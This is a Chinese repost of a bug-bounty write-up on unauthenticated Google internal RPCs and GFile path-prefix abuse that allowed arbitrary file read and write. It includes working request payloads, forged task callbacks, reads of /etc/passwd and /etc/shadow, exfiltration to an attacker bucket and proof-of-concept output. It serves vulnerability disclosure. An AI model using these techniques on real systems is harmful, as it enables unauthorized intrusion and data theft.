攻破GoogleGFile拿满10万美元:通用RPC路由+跨存储前缀+文件名预测组合拳"

admin 2026-10-15 15:08:17 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

攻破 Google GFile 拿满 10 万美元:通用 RPC 路由 + 跨存储前缀 + 文件名预测组合拳

原创

Red Hunter
Red Hunter

黑白之道

2026年10月13日 09:00
韩国

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

导语:本文转载编译自 Google Bug Hunters 博客 2026-09-11 发布的《Breaking into Google's GFile for 》,原作者(),已于报告提交后入职任。两份报告合计斩获97,604,分别为 Firefly 报告 、报告37,604.40。下面按原始章节顺序把技术细节原汁原味译出,仅作少量语序与中文习惯性调整,便于中文读者阅读。


背景:上一篇关于\"AI 扫 discovery 文档\"的延续

在我上一篇文章里,我详细讲了怎么用 AI 大规模扫 Google 基础设施里的 discovery 文档,顺手摸出一堆 bug。那篇发出去之后我估计这条面会被盯紧,所以我想换个新打法。

我意识到 Google 内部的 API 端点本质上都是 RPC,很多并没有自定义 HTTP 映射,因此根本不会出现在 discovery 文档里。但即使没有 HTTP 映射,这些 RPC 仍然可以走通用 RPC 路由访问:

/$rpc/<fully-qualified-service-name>/<method>

比如:

/$rpc/google.internal.play.movies.firefly.avails.v1.AvailService/ListAvails

既然这条面没怎么被翻过,我就专门去盯它。discovery 文档拿不到,我得用其他办法\"挤\"出端点的 protobuf 参数,比如 req2proto。

我的 AI 工具最先发现的一个 API 是 firefly-pa.googleapis.com。它里头挂了一堆管理 YouTube TV/Film 合作方记录的 admin RPC,对应的账号是 Content Manager 账号。这种账号能直接在 YouTube 上做 strike、下发 monetization 之类的版权动作,权限极高。结果一看,鉴权检查根本没有。

一、把每个合作方的 CMS 记录全部 dump 出来

用这套 RPC 可以把任何一个工作室记录拉出来,里面有内部联系信息、Content Manager 邮箱、内部备注——甚至包含明文密码:

请求

POST /$rpc/google.internal.play.movies.firefly.backdraft.v2.StudioManagement/GetStudio?alt=json HTTP/2
Host: firefly-pa.clients6.google.com
Cookie: <REDACTED>
Authorization: <REDACTED>
X-Goog-Api-Key: AIzaSyAFwUqVJym0bGjT348m643asjdULk6gfe4
Origin: https://partnerdash.google.com
Content-Type: application/x-protobuf

ChBlZmU2ODAwMDAwMDAwMDAw

解码后的请求体:{1: studio_id=\"efe6800000000000\"}

响应

{
  \"studioId\":\"efe6800000000000\",
\"displayName\":\"<REDACTED>\",
\"hellboyId\":\"100299624\",
\"flareId\":\"1\",
\"searchLabel\":\"<REDACTED>\",
\"primaryInternalContact\":\"playsupport-moviestv\",
\"externalContacts\":[
    {
      \"email\":\"<REDACTED>\",
      \"contactRole\":\"<REDACTED>\",
      \"contentType\":\"CONTENT_TV\",
      \"regions\":[\"APAC\"],
      \"countries\":[\"AU\"],
      \"name\":\"<REDACTED>\",
      \"preferredLanguage\":\"LANG_EN_AU\"
    }
],
\"notes\":\"New Salesforce Alias: <REDACTED>@google.com, <REDACTED>@google.com\
<REDACTED>@google.com\
PO 417174\
\
My <REDACTED> Files (box) access: https://<REDACTED>.account.box.com/login  <REDACTED>@google.com, password: <REDACTED> ...\"
}

同一个 API 上所有 RPC 全都是同样的鉴权缺失。可以列出数百万条 avails 和 ingestion job,可以 dump 别人的 transaction/order 记录,甚至能改、删别人的 avails、prepared avails、transaction。

二、那个永远不执行的 Job

但其中最引起我注意的一组 RPC 是:

TaskManagerService
  CreateJob
  GetJob
  GetJobStatusLog
  GetTask
  GetTaskStatusLog
  GetTaskExecutionResult
  RestartTask
  NotifyTaskExecutionResult

看 /TaskManagerService.CreateJob 表面,它支持一个 copyFileTask,可以用一个用户传入的 Bigstore/Blobstore 路径,复制到另一个用户传入的路径:

message CopyFileTask {
string task_id = 3;
  FileIdentifier src_file = 1;
  FileIdentifier dest_file = 2;
bool overwrite = 4;
}

message FileIdentifier {
oneof identifier_oneof {
    BigstoreIdentifier bigstore_identifier = 1;
    BlobstoreIdentifier blobstore_identifier = 2;
  }
}

从该 API 的其他 RPC 里我看到一些敏感的内部 Bigstore 路径,例如:

/bigstore/ypc-archive/package/3fbfaacf9e28dcef33214599153846/resources/Google_JusticeLeague_2951533_FE_RLI-10269600.36058659747131.36047781510202.xml

如果能把这些文件拷一份到我自己的 GCS bucket,就能直接读。

Bigstore 是 Google Cloud Storage(GCS)的内部代号。

第一次尝试我只发了一条 job 把目标文件拷到自己 bucket。CreateJob 接受了,返回了两个 server 分配的 task id,但 job 一直卡在 NEW 状态。我注意到 CreateJobRequest 里可以指定 \"dependent tasks\",或许配上依赖就能跑起来?

message Job {
string job_id = 1;
  JobClientInfo client_info = 5;
repeated Task tasks = 2;
repeated Dependency dependencies = 3;
  ExecutionStatus job_status = 4;
}

message Dependency {
repeatedstring in_task_names = 1;
repeatedstring in_task_ids = 3;
string out_task_name = 2;
string out_task_id = 4;
}

于是我建了一个带两个 task 的 job:dummy 在自己 bucket 里拷一份无害文件,exfil 把目标文件拷到 bucket;依赖关系让 exfil 必须在 dummy 完成后才跑:

{
  \"job\":{
    \"clientInfo\":{\"client\":\"JOB_CLIENT_ASSET_MANAGER\",\"clientId\":\"vrp\"},
    \"tasks\":[
      {
        \"taskName\":\"dummy\",
        \"copyFileTask\":{
          \"srcFile\":{\"bigstoreIdentifier\":{\"filePath\":\"/bigstore/my-public-writeable-vrp-bucket/poc/pred.txt\"}},
          \"destFile\":{\"bigstoreIdentifier\":{\"filePath\":\"/bigstore/my-public-writeable-vrp-bucket/poc/pred.txt\"}},
          \"overwrite\":true
        }
      },
      {
        \"taskName\":\"exfil\",
        \"copyFileTask\":{
          \"srcFile\":{\"bigstoreIdentifier\":{\"filePath\":\"/bigstore/ypc-archive/package/example\"}},
          \"destFile\":{\"bigstoreIdentifier\":{\"filePath\":\"/bigstore/my-public-writeable-vrp-bucket/poc/exfil.xml\"}},
          \"overwrite\":true
        }
      }
    ],
    \"dependencies\":[{\"inTaskNames\":[\"dummy\"],\"outTaskName\":\"exfil\"}]
}
}

响应

{
  \"jobId\": \"2030d1a000000000\",
  \"tasks\": [
    {\"taskName\":\"dummy\",\"copyFileTask\":{\"taskId\":\"a030d1a000000000\"}},
    {\"taskName\":\"exfil\",\"copyFileTask\":{\"taskId\":\"6030d1a000000000\"}}
  ]
}

依然卡在 NEW。换什么姿势都跑不起来。RestartTask 也只是返回一个 5xx 错误,并没有真执行。

从这组 RPC 看,TaskManagerService 显然是某种由其他服务(如 AssetManagerService)调用的内部服务,我大概漏掉了真正触发任务的入口。AssetManagerService 这边也找不到可以触发任意 task 的口子,这条路暂时断掉,把当时掌握的所有信息打包发给 Google VRP。

三、把状态从 NEW 拽出来

隔了一天我决定再碰碰运气,让 AI 工具自己想办法把 task 跑起来。

它发现 NotifyTaskExecutionResult 是 worker 上报\"任务完成\"的回调 RPC,但完全不验证调用方就是分配到那个 task 的 worker。既然 exfil 依赖 dummy,我可以直接调用这个 RPC,把 server 分配的 dummy task 谎报成 STATUS_COMPLETE_SUCCESS:

{
  \"taskId\":\"a030d1a000000000\",
\"status\":{\"status\":\"STATUS_COMPLETE_SUCCESS\"},
\"copyFileTaskExecutionResult\":{
    \"destFiles\":{
      \"bigstoreIdentifier\":{
        \"filePath\":\"/bigstore/my-public-writeable-vrp-bucket/poc/pred.txt\"
      }
    }
}
}

scheduler 信了这个伪造的回调,把 dummy 标成 complete,然后去调度真正依赖它的 exfil task 到生产后端。

任务执行了,但文件没有停留在我 bucket 里。多试几次发现诡异现象:文件先被创建,紧接着就被删除。我写了个脚本去 race 这一段,终于把文件抠出来:

curl 'https://storage.googleapis.com/my-public-writeable-vrp-bucket/poc/exfil.xml'
# HTTP 200  (2,270,337 bytes)
# <?xml version=\"1.0\" encoding=\"UTF-8\"?>
# <DolbyLabsMDF xmlns=\"http://www.dolby.com/schemas/dvmd/4_0_2\"> ...

后来发现一个更干净的姿势:把 bucket 权限设成只允许 allUsers 读 + 上传,不允许删。后端执行完后想删也删不掉。

四、Bigstore 只是 GFile 冰山一角

能把 Bigstore 读出来已经很有趣,但我还想看看能不能打到别的服务。Google 内部有一个文件库叫 GoogleFile(GFile),它在不同存储系统前套一层通用接口,由 FileFactory 根据路径前缀选真正的后端。这意味着同一个 copy 函数只要二进制里链接到对应实现,就能操作 Bigstore(GCS 的内部名)、Blobstore、CNS(Colossus)、Chubby,甚至 borgtask 的本地文件系统。

上一节 task 响应里的 bigstoreIdentifier 用的是 /bigstore/ 前缀。如果换成别的会怎样?字段名其实是个误导——只要 copyFileTask 把用户传入的字符串原样交给 GFile,换前缀就能决定真正打到哪个后端。

试了几条前缀,还真成了:

FileFactory 响应
/bigstore/ Empty bucket name
/blobstore/ Invalid path
/cns/ unable to parse path: invalid cell name: ; '/cns/'; Open on /cns/
/ls/ LockService OpenExisting error: /ls: access denied
/cfs/ unable to parse path: invalid file factory prefix: /cfs; Open on /cfs/
/cfs2/ unable to parse path: invalid file factory prefix: /cfs2; Open on /cfs2/
/namespace/ /namespace/: Invalid name space path/pattern: /namespace/; NamespaceFileFactory::Open
/ffs/ Unexpected faultyfs prefix: /ffs
/readahead/ Malformatted /readahead path: /readahead/
/memfile/ File not found: /memfile/
/google_src/head/ FileFactory '//file/google\_src' not found while resolving path '/google\_src/head'. The application has not been linked against the '//file/google\_src' library or InitGoogle() has not been called yet.

备注:FileFactory 必须链接进当前二进制才能用,例子里的 /google_src/head/ 这个 FileFactory 没链接进来。

五、读和写 borgtask 本地文件

GFile 还能操作本地文件。为了验证它真的跑在 borg 上,我直接把 /etc/passwd.borg 当源,拷到自己 bucket。结果是直接拿到的:

<redacted>:x:2501:5000::/user/<redacted>:/bin/bash
<redacted>:x:2503:5000::/user/<redacted>:/bin/bash
<redacted>:x:2527:5000::/user/<redacted>:/bin/bash
...

这个文件上百万行,装的是每个 Googler 的 LDAP。

到这里意味着没有任何沙箱隔离层(比如 gVisor),已经触达实际跑服务的物理机的文件系统。把源和目的换一下,还可以反向写任意文件。我顺手验证了一下,往 /tmp/poc.txt 写入了 brutecat was here。

用 Chubby 把 Google 内部地址解出来

Chubby 是 Google 的分布式锁与命名服务,内部的协调、存一点元数据(包括服务地址)都靠它。GFile 把 Chubby 通过 /ls/<cell>/... 路径暴露成可查接口。一个 cell 通常就是一个 Chubby 实例,对应一个数据中心。Chubby 在 GFile 里是开着的,我顺手测了一组查询,看看 Chubby 在内部是怎么被用来解析 Borg Name Service(BNS)地址的。

Google 内部服务一般通过 GSLB 地址访问,比如 hr.corp.googleapis.com 实际服务在 blade:corp-hr-api,这种 GSLB 在某些外部点会泄漏出来。拿一个泄漏的 java/com/google/loadbalancer/rpc/GslbChannelPicker3.java(来自反编译 Google 公开的二进制),可以算出 blade:apphosting-stubbyproxy 的 fallback Chubby 查询:/ls/ce/loadbalancer/fallback/924/blade_apphosting-stubbyproxy,查出来是:

/bns/ce/borg/ce/bns/app-engine-inbound-stubby-proxy/prod-global.inbound-stubby-proxy:spp
/bns/lcscld/borg/lcscld/bns/app-engine-inbound-stubby-proxy/prod-global.inbound-stubby-proxy:spp

再查一个 BNS 地址,比如 /ls/qk/borg/qk/bns/apps-drive-genoa-server/prod-stripe10.genoa-server/0(0 是 task id,qk 是示例 cell),会直接返回这个 borgtask 的 IPv6 地址。

影响面

GetTaskStatusLog 显示这次 copy 是以 [email protected] 这个生产身份执行的,能访问 GFile 的所有后端:Bigstore(GCS)、Blobstore、CNS(Colossus,Google 绝大多数服务都跑在它上面)、Chubby,等于对 Google 这套可扩展存储体系拿到一个几乎完整的读权限。我把这个升级面同步给 Google 后,报告很快被升到 P0。

我以为 GFile 这条线就这么结了。没想到三天之后又找到了第二个。

六、有复制原语但拿不到输出

staging-mamba-backend.sandbox.googleapis.com 这个端点我盯了很久了。它暴露了一个无认证的 /v1/process,接收用户传的 refFilename,把文件复制到一个临时 CNS 目录里,给 Mamba UI 的 frame-metrics 流水线用。

拿一个后端读不到的文件去试,会回一份特别详细的错误:

请求

POST /v1/process HTTP/2
Host: staging-mamba-backend.sandbox.googleapis.com
Content-Type: application/json

{\"refFilename\":\"/etc/shadow\"}

响应

{
  \"error\": \"Copying /etc/shadow to /cns/iu-d/home/video-pipeline-metrics/mamba_ui/frame_metrics_tmp_dir/ttl=7d/tempfile-6d1b3bec58af19f2-8e5eb16870b.borgtask.google.com-151cc3-1243617-2fcfc29258853-656ebf3e9ce1d failed with error: open failed for /etc/shadow: Permission denied\"
}

这条错误回吐把完整的目标路径都暴露了。输出的目标目录长这样:

/cns/iu-d/home/video-pipeline-metrics/mamba_ui/frame_metrics_tmp_dir/ttl=7d/

这目录一看就有问题:共享的 frame_metrics_tmp_dir,TTL 7 天;路径里没有用户/租户标识;文件名也不是 UUID。这个目录很可能是全局可读,让流水线其他阶段能消费临时文件——后来确认确实如此。

文件名看起来也是确定性生成而不是随机。每段都是处理请求那个 borgtask 的运行时元数据:

tempfile-<borg-host>-<tid>-<pid>-<cycle>-<wall>

但如果源文件存在、复制成功,端点返回的是:

HTTP/2 200 OK
Content-Type: application/json

{}

也就是说 /etc/passwd 能成功拷进 CNS,但响应把生成出来的文件名藏起来了——拿不到文件名就读不回。

在我刚搞定 Firefly 那条任意 GFile 读之后,这个端点突然变得特别有戏。详细错误已经证明它接受 borg 本地路径,并以 [email protected] 把内容写入 CNS。如果我能恢复出成功 copy 的那个文件名,第一部分的 Firefly 原语正好可以读它。

挡住攻击者的只剩下文件名这一个变量。

七、用 /batch 钉死 borgtask

我和朋友 Theo 一起研究,发现不同请求生成的文件名前缀非常相似:borgtask 主机名、进程 ID 不变,变的只有线程 id、cycle 计数器、wall-clock 时间戳。

独立的 HTTP 请求可能被路由到不同 borgtask,导致文件名比较不可靠。后来我意识到这个 API 还支持 Google 标准的 /batch 端点,一个 multipart batch 里的所有子请求都在同一个 borgtask 上处理。

这就能把一次成功(被隐藏)的 copy 夹在大量故意失败的 copy 之间:

before-0   -> /etc/shadow
before-1   -> /etc/shadow
before-2   -> /etc/shadow
...
target     -> /etc/passwd
...
after-0    -> /etc/shadow
after-1    -> /etc/shadow
after-2    -> /etc/shadow

任何能稳定失败的源路径都行。我直接复用 /etc/shadow——它复制失败、文件名泄漏;目标 /etc/passwd 复制成功返回 {}。所有请求都在同一台 borgtask 上执行,左右两侧的失败会把\"造文件的那个进程\"附近生成的兄弟文件名给吐出来。

这些 worker id 通常是一个近似连续的序列:

... 11617f, 116180, 116181, [missing], 116183, 116184 ...

中间空缺的就是成功 target 请求的候选 worker。进程里其他工作也可能造成多个 gap,所以 PoC 会重跑 batch,留 worker gap 最少、时间窗最窄的那一组。

这一步拿到的是稳定的 borg 主机 + PID,外加可能的目标线程 id + 前后两个时间邻居。剩下要做的就是预测 cycle 计数器和 wall-clock 时间戳的具体值。

到这里我把样本和路径 oracle 交给 GPT-5.6-sol(xhigh),让它直接干。它把邻近的失败样本变成一个有界搜索:

  • 泄漏的文件名是按时间排列的,所以 hidden 请求的 wall 值可以从它前后 worker id 之间线性插值。
  • cycle 计数器大约每秒增长 1,300 个 cycle,可以从 wall clock 直接预测。
  • 在两个估算值上加一点 jitter,几百万条候选路径就把不确定的搜索空间压成了有界集合。

还有一个很方便的 oracle:把候选 CNS 路径直接喂回 /v1/process,存在就返回 {},不存在就报错。PoC 把候选打包到并行 /batch 请求里一个一个试,直到某条返回 {}。

整个流程如下:

  1. 在一个 /batch 请求里把真实 copy 夹在几十个失败 copy 中间。
  2. 解析失败响应,恢复 borg 主机、PID、邻接的 (tid, cycle, wall) 样本。
  3. 在 worker id 序列里找 gap,留搜索窗最窄的那一组 batch。
  4. 插值算 wall,预测 cycle,加上 jitter 范围生成确切候选 CNS 路径。
  5. 用 /process 回放候选路径,直到 existing-file oracle 返回 {}。

跑 /etc/passwd 完全不需要鉴权:

$ python3 poc_mamba.py /etc/passwd
[*] Target: staging-mamba-backend.sandbox.googleapis.com/v1/process
[*] Copy input: /etc/passwd
[*] Authentication: none
[-] Batch attempt 1: dense worker run has 9 bounded gaps (limit 8); retrying
[+] Batch attempt 3: isolated 1 possible hidden worker(s): ee4bc; combined wall span 7,805 us
[+] Batch attempt 11: isolated 1 possible hidden worker(s): 116182; combined wall span 4,979 us
[*] Using best retained batch model with 4,979 us combined span
[*] Borg task: 6d1b3bec58af19f2-8e5eb168749.borgtask.google.com
[*] Process ID: 1066201
[*] Possible worker 116182: neighbors 116181/116183, wall 656e3cabf8fad..656e3cabfa320
[*] Streaming up to 8,988,980 candidates
[*] Tested 100,000 candidate paths
[*] Tested 200,000 candidate paths
[*] Tested 300,000 candidate paths
[*] Tested 400,000 candidate paths
[*] Tested 500,000 candidate paths
[*] Tested 600,000 candidate paths
[*] Tested 700,000 candidate paths
[+] Oracle hit after 771,000 candidates
[+] Verified CNS tempfile path:
/cns/iu-d/home/video-pipeline-metrics/mamba_ui/frame_metrics_tmp_dir/ttl=7d/tempfile-6d1b3bec58af19f2-8e5eb168749.borgtask.google.com-116182-1066201-10033873e0aa9-656e3cabfa04f

那个号称隐藏的输出路径,现在完完整整拿到了。

八、用 Firefly 把 CNS 文件读回来

Mamba 端点把文件拷进了 CNS,但没暴露 HTTP 端点让我下载。还好三天前我刚拿到一个通用的 GFile reader。

把恢复出来的路径直接喂给 Firefly PoC,就能以 play-movies-encoding 身份把它拷到自己 bucket:

$ python3 firefly_read_poc.py \\
  \"/cns/iu-d/home/video-pipeline-metrics/mamba_ui/frame_metrics_tmp_dir/ttl=7d/tempfile-6d1b3bec58af19f2-8e5eb168749.borgtask.google.com-116182-1066201-10033873e0aa9-656e3cabfa04f\"

[+] EXFILTRATED 3870 bytes
    head: b'root:x:0:0:root:/root:/bin/bash\
bin:x:1:1:bin:/bin:/sbin/nologin\
daemon:x:2:2:daemon:/sbin:/sbin/nologin\
...'

这两条原语合起来就是一个远程攻击者:任意本地文件读 + 拿到 video-pipeline-metrics 这个生产身份能访问的所有 GFile 后端。

九、结论

两个 bug 的源头大概率是同一个:开发只是想\"在 Bigstore 之间挪个文件\",或者\"拷进 CNS\",觉得用 GFile 很方便,于是就用了。Firefly 甚至把 protobuf 字段命名成 bigstoreIdentifier。GFile 把路径开头当作 FileFactory 路由指令——只要调用方没显式白名单前缀,用户传入的\"Bigstore 文件名\"随时可能变成 CNS、Blobstore、Chubby、X20,或者其他后端路径。这类 bug 在 Google 其他 API 里估计同样存在。

时间线

  • 2026-07-14 — Firefly 首报提交给 Google,4 小时内被接受
  • 2026-07-18 — 同步 Firefly 的 GFile 升级面,报告升到 P0
  • 2026-07-18 — Mamba 首报提交,9 分钟内被接受
  • 2026-07-24 — Firefly 评奖 $60,000。评审理由:报告质量\"Exceptional Quality\"。归类为\"Normal Google Applications\"下的\"unrestricted file system or database access\"
  • 2026-07-24 — Mamba 评奖 $37,604.40。评审理由:报告质量\"Exceptional Quality\"。归类同上;因利用难度极高、外传需要其他原语配合而降级

素材出处

本文为编译报道,原作者 Arvin Shivram(brutecat)2026-09-11 发布于 Google Bug Hunters 官方博客。

  • 原文:Breaking into Google's GFile for $100k
  • 作者主页:bughunters.google.com/profile
  • 配套工具:req2proto
  • 相关参考:Colossus 架构 / Chubby OSDI 2006 论文
  • 作者前作:Hacking Google With AI


👇 点击阅读原文,访问我的网站

---

攻破GoogleGFile拿满10万美元:通用RPC路由+跨存储前缀+文件名预测组合拳" 网络安全文章

攻破GoogleGFile拿满10万美元:通用RPC路由+跨存储前缀+文件名预测组合拳"

本文详述了通过Google通用RPC路由发现未授权访问漏洞的过程,可dump合作方CMS记录含明文密码,并利用TaskManagerService的CopyFileTask功能,通过伪造任务完成回调触发文件复制,成功读取Bigstore内部文件。文章还探讨了GFile不同前缀可操作不同存储系统,建议加强内部API鉴权与任务回调验证。
AI正在重塑网络安全职场:安全岗位何去何从" 网络安全文章

AI正在重塑网络安全职场:安全岗位何去何从"

文档分析AI对网络安全职场的重塑作用,指出人才缺口扩大至480万,AI加剧攻击威胁并推动防御自动化。高重复岗位任务被替代,但催生智能体架构师等新岗位。从业者需向编排监督、复合技能转型,构建AI技术底座、安全内核与软技能三层能力,成为主导复合型人才。
做一名合格的网安人,就该有的一些良好习惯!!!" 网络安全文章

做一名合格的网安人,就该有的一些良好习惯!!!"

这篇文章分享了16条网络安全从业者的良好习惯,涵盖虚拟机快照备份、靶场与攻击机隔离、工具目录管理、复现笔记记录、命令脚本库建立、漏洞复现闭环、英文资料优先学习、知识树整理、合法授权测试、数据保护、Git版本管理、浏览器多配置、代理抓包工具常备及系统定期清理等实用建议,强调安全学习与合法授权测试的重要性,适合网络安全学习者参考实践。
评论:0   参与:  0